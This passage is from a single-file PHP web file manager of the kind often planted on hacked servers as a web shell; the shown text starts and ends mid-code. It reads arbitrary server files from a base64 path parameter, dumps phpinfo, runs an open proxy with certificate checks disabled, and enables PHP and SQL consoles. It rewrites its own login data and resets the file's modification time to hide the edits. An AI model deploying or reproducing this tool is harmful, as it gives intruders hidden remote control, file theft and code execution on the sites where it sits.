	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
